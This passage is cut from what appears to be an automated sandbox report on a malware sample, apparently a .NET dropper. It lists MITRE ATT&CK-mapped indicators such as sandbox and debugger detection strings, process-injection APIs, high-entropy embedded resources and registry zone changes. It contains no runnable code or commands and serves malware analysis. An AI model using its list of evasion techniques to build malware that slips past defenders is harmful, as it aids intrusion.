\"lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet\" (Indicator: \"time\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"SbieDll.dll\" (Indicator: \"sbiedll.dll\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-5","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"b-/&;uv.kp\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"dd_dotnet48_decompression_log.txt\" (Source: \"00000000-00000640.00000001.80757.00260000.00000004.mdmp\")\n Found string \"dd_ndp471-kb4033342-x86-x64-allos-enu_decompression_log.txt\" (Source: \"00000000-00000640.00000001.80757.00260000.00000004.mdmp\")\n Found string \"dd_dotnet48_decompression_log.txt\" (Source: \"00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")\n Found string \"unknown compression method\" (Source: \"00000000-00004500.00000001.82966.0079C000.00000004.mdmp, 00000000-00004500.00000001.82966.70891000.00000020.mdmp\")\n file/memory contains long string(Source: \"00000000-00004500.00000001.82966.007CE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to load content into memory (.NET)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"InstallSetup9.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nsi3737.tmp\\ (UID: 00000000-00002856)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform remote procedure calls (API string)","description":"Found reference to API \"RpcStringFreeA\" (Indicator: \"RpcStringFree\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-160","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799 has big resource with name: \"toolspub1\" size: \"339968\" and abnormal entropy:\"7.267496637245516\"\n 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799 has big resource with name: \"InstallSetup9\" size: \"2123211\" and abnormal entropy:\"7.992107520932856\"\n 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799 has big resource with name: \"rty25\" size: \"732672\" and abnormal entropy:\"6.922654803512693\"\n 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799 has big resource with name: \"31839b57a4f11171d6abc8bbc4451ee4\" size: \"4449656\" and abnormal entropy:\"7.986771842622859\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000640.00000001.80757.00260000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002856.00000001.82683.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004224.00000000.80773.00380000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004224.00000000.80773.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004224.00000000.80779.00294000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\root\\cimv2; Source: \"00000000-00002512.00000001.82002.002D0000.00000004.mdmp, 00000000-00002512.00000001.82002.0034B000.00000004.mdmp\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" queried SystemProcessInformation at 00000000-00002512-00000105-21928624 [PID: 2512]\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" queried SystemProcessInformation at 00000000-00003348-00000105-4864382 [PID: 3348]\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" queried SystemProcessInformation at 00000000-00003348-00000105-4882451 [PID: 3348]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00003624]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n \"InstallSetup9.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Able to detect if debugger is present","description":"Observed API \"CheckRemoteDebuggerPresent\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1622","relevance":1,"id":"static-220","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"00000000-00003192.00000000.82126.00671000.00000020.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"00000000-00003192.00000000.82126.00671000.00000020.mdmp\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"00000000-00003192.00000000.82126.00671000.00000020.mdmp\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"00000000-00003192.00000000.82126.00671000.00000020.mdmp\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"00000000-00003192.00000000.82126.00671000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003192-32151-58-00671E49","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".ndata\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decode string content at runtime (.NET)","description":"Observed function \"FromBase64String\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2f","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00000640.00000000.80239.00260000.00000004.mdmp, 00000000-00000640.00000001.80757.00260000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002512.00000001.82002.002D0000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00004500.00000001.82966.002F0000.00000004.mdmp, 00000000-00004500.00000002.84888.002F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.92759","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Able to decode string content at runtime (.NET)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - Compress data using CryptoPP library","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$30","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"okie:hapubws@youtube.com/\" (Indicator: \"youtube.com\"; Source: \"00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")\n Found string \"youtube.com\" (Indicator: \"youtube.com\"; Source: \"00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStringsW\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"SessionUserName\" (Source: \"00000000-00004500.00000001.82966.007CE000.00000002.mdmp\")\n Found string \"getUserNameResult\" (Source: \"00000000-00004500.00000001.82966.70891000.00000020.mdmp\")\n Found string \"GetUserNameW\" (Source: \"00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00000640.00000000.80239.00440000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00000640.00000000.80239.00440000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment","description":"Found string \"vboxguestadditions\" (Indicator: \"VBoxGuest\"; Source: \"00000000-00002856.00000000.80757.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-660","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00000640-00000C2C-262544099\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceConfigW\" (Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found string \"QueryServiceStatusEx\" (Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 